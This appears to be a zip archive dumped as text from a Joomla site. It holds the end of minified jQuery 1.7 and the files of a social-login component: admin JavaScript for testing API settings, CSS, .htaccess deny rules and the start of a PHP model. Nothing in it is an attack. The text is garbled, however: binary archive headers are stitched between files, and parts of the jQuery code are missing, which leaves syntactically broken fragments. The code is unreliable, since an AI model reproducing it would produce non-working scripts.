a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
      ","
      "],thead:[1,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],col:[2,"","
      "],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
      ","
      "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() {for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
      ").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);PK@y>\#+3components/com_sociallogin/assets/js/sociallogin.jsnuW+AjQuery(document).ready(function($) { /* Autodetect API Connection Handler */ $('#oa_social_login_autodetect_api_connection_handler').click(function(){ var message_string; var message_container; var is_success; var data = {'action' : 'autodetect_api_connection_handler'}; var ajaxurl = 'index.php?option=com_sociallogin&task=autodetect_api_connection_handler'; message_container = jQuery('#oa_social_login_api_connection_handler_result'); message_container.removeClass('success_message error_message').addClass('working_message'); message_container.html('Contacting API - please wait ...'); jQuery.post(ajaxurl,data, function(response) { /* CURL/FSOCKOPEN Radio Boxs */ var radio_curl = jQuery("#oa_social_login_api_connection_handler_curl"); var radio_fsockopen = jQuery("#oa_social_login_api_connection_handler_fsockopen"); radio_curl.removeAttr("checked"); radio_fsockopen.removeAttr("checked"); /* CURL detected */ if (response == 'success_autodetect_api_curl') { is_success = true; radio_curl.attr("checked", "checked"); message_string = 'Autodetected PHP CURL - do not forget to save your changes!'; } else { /* FSOCKOPEN detected */ if (response == 'success_autodetect_api_fsockopen') { is_success = true; radio_fsockopen.attr("checked", "checked"); message_string = 'Autodetected PHP FSOCKOPEN - do not forget to save your changes!'; } /* No handler detected */ else { is_success = false; radio_curl.attr("checked", "checked"); message_string = 'Autodetection Error - our documentation might help you fix this issue.'; } } message_container.removeClass('working_message'); message_container.html(message_string); if (is_success){ message_container.addClass('success_message'); } else { message_container.addClass('error_message'); } }); return false; }); /* Test API Settings */ $('#oa_social_login_test_api_settings').click(function() { var message_string; var message_container; var is_success; var radio_curl_val = jQuery("#oa_social_login_api_connection_handler_curl:checked").val(); var radio_fsockopen_val = jQuery("#oa_social_login_api_connection_handler_fsockopen:checked").val(); var subdomain = jQuery('#settings_api_subdomain').val(); var key = jQuery('#settings_api_key').val(); var secret = jQuery('#settings_api_secret').val(); var handler = (radio_fsockopen_val == 'fsockopen' ? 'fsockopen' : 'curl'); var data = { 'action' : 'check_api_settings', 'api_subdomain' : subdomain, 'api_key' : key, 'api_secret' : secret, 'api_connection_handler' : handler }; var ajaxurl = 'index.php?option=com_sociallogin&task=check_api_settings'; message_container = jQuery('#oa_social_login_api_test_result'); message_container.removeClass('success_message error_message').addClass('working_message'); message_container.html('Contacting API - please wait ...'); jQuery.post(ajaxurl, data, function(response) { is_success = false; if (response == 'error_selected_handler_faulty') { message_string = 'The connection handler does not work, try using the Autodetection'; } else if (response == 'error_not_all_fields_filled_out') { message_string = 'Please fill out each of the fields above' } else if (response == 'error_subdomain_wrong') { message_string = 'The subdomain does not exist. Have you filled it out correctly?' } else if (response == 'error_subdomain_wrong_syntax') { message_string = 'The subdomain has a wrong syntax!' } else if (response == 'error_communication') { message_string = 'Could not contact API. Try using another connection handler' } else if (response == 'error_authentication_credentials_wrong') { message_string = 'The API credentials are wrong'; } else { is_success = true; message_string = 'The settings are correct - do not forget to save your changes!'; } message_container.removeClass('working_message'); message_container.html(message_string); if (is_success){ message_container.addClass('success_message'); } else { message_container.addClass('error_message'); } }); return false; }); });PK@y>\:///components/com_sociallogin/assets/js/index.htmlnuW+A PK@y>\).components/com_sociallogin/assets/js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\://0components/com_sociallogin/assets/css/index.htmlnuW+A PK@y>\iU5components/com_sociallogin/assets/css/sociallogin.cssnuW+A.error_message { color: red; background: url("../img/status_error.png") no-repeat scroll 0 50% #F6F6F6; padding-left: 25px; font-weight: bold; } .success_message { color: green; background: url("../img/status_ok.png") no-repeat scroll 0 50% #F6F6F6; padding-left: 25px; font-weight: bold; } .working_message { color: blue; background: url("../img/status_loading.gif") no-repeat scroll 0 50% #F6F6F6; padding-left: 25px; font-weight: bold; } .oa_social_login_provider { background-image: url("../img/provider_sprite_35_35.png"); text-indent: -9999px; height: 35px; width: 35px; display: inline-block; } .oa_social_login_provider.oa_social_login_provider_aol { background-position: -2px -1px; } .oa_social_login_provider.oa_social_login_provider_blogger { background-position: -39px -1px; } .oa_social_login_provider.oa_social_login_provider_facebook { background-position: -76px -1px; } .oa_social_login_provider.oa_social_login_provider_foursquare { background-position: -113px -1px; } .oa_social_login_provider.oa_social_login_provider_google { background-position: -150px -1px; } .oa_social_login_provider.oa_social_login_provider_hyves { background-position: -187px -1px; } .oa_social_login_provider.oa_social_login_provider_linkedin { background-position: -224px -1px; } .oa_social_login_provider.oa_social_login_provider_windowslive { background-position: -261px -1px; } .oa_social_login_provider.oa_social_login_provider_livejournal { background-position: -298px -1px; } .oa_social_login_provider.oa_social_login_provider_myspace { background-position: -372px -1px; } .oa_social_login_provider.oa_social_login_provider_openid { background-position: -409px -1px; } .oa_social_login_provider.oa_social_login_provider_twitter { background-position: -520px -1px; } .oa_social_login_provider.oa_social_login_provider_vkontakte { background-position: -631px -1px; } .oa_social_login_provider.oa_social_login_provider_wordpress { background-position: -668px -1px; } .oa_social_login_provider.oa_social_login_provider_yahoo { background-position: -705px -1px; } .oa_social_login_provider.oa_social_login_provider_paypal { background-position: -742px -1px; } .oa_social_login_provider.oa_social_login_provider_stackexchange { background-position: -779px -1px; } .oa_social_login_provider.oa_social_login_provider_steam { background-position: -816px -1px; } .oa_social_login_provider.oa_social_login_provider_mailru { background-position: -853px -1px; } .oa_social_login_provider.oa_social_login_provider_skyrock { background-position: -890px -1px; } .oa_social_login_provider.oa_social_login_provider_github { background-position: -927px -1px; } .oa_social_login_provider.oa_social_login_provider_disqus { background-position: -964px -1px; } .oa_social_login_provider.oa_social_login_provider_youtube { background-position: -1001px -1px; } .oa_social_login_provider.oa_social_login_provider_odnoklassniki { background-position: -1038px -1px; } .social_login_form { width: 760px; padding: 0; background-color: #fff; } .social_login_form a { text-decoration: underline !important; } .social_login_form .blank a { text-decoration: none !important; padding: 0 15px !important; font-weight: bold; } .social_login_form a:hover { text-decoration: none !important;; } .social_login_form legend { margin-left: 10px; line-height: 30px; } .social_login_form .row { padding: 5px 10px; font-size: 12px; clear: both; overflow: hidden; } .social_login_form .row_provider { line-height: 40px; } .social_login_form .row_provider .provider_icon { float: left; clear: none; cursor: pointer; } .social_login_form .row_provider .provider_check { float: left; clear: none; margin: 15px; } .social_login_form .row_provider .provider_name { clear: none; float: left; margin: 0; padding: 0; cursor: pointer; } .social_login_form .row_odd { background-color: #e7e7e7; color: #222; } .social_login_form .row_even { background-color: #fff; } .social_login_form .row_title { font-size: 14px; font-weight: bold; margin-top: 15px; } .social_login_form .row_button { background-color: #F6F6F6; border-top: 1px dotted #ddd; margin-top: 14px; padding: 5px 10px; } .social_login_form .row_description { padding: 5px 0 10px 10px; font-weight: bold; } .social_login_form_info { background-color: #FFFFE0; } .social_login_form_info .row { padding: 0 10px 10px !important; } .social_login_form_welcome { background-color: #E1EDFF; } .social_login_form_welcome .row { margin-bottom: 10px; } .social_login_form_welcome .row_button { padding-bottom: 0 !important; background-color: #E1EDFF; }PK@y>\)/components/com_sociallogin/assets/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)+components/com_sociallogin/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!A= = 1components/com_sociallogin/models/sociallogin.phpnuW+AgetDbo (); //Read Settings $settings = JRequest::getVar ('settings'); //Save providers $providers = array(); if (isset ($settings['providers']) AND is_array ($settings['providers'])) { foreach ($settings['providers'] AS $key => $value) { if ( ! empty ($value)) { $providers[] = $key; } } } $settings ['providers'] = serialize ($providers); //Remove current settings $sql = "DELETE FROM #__oasl_settings WHERE setting <> 'api_settings_verified'"; 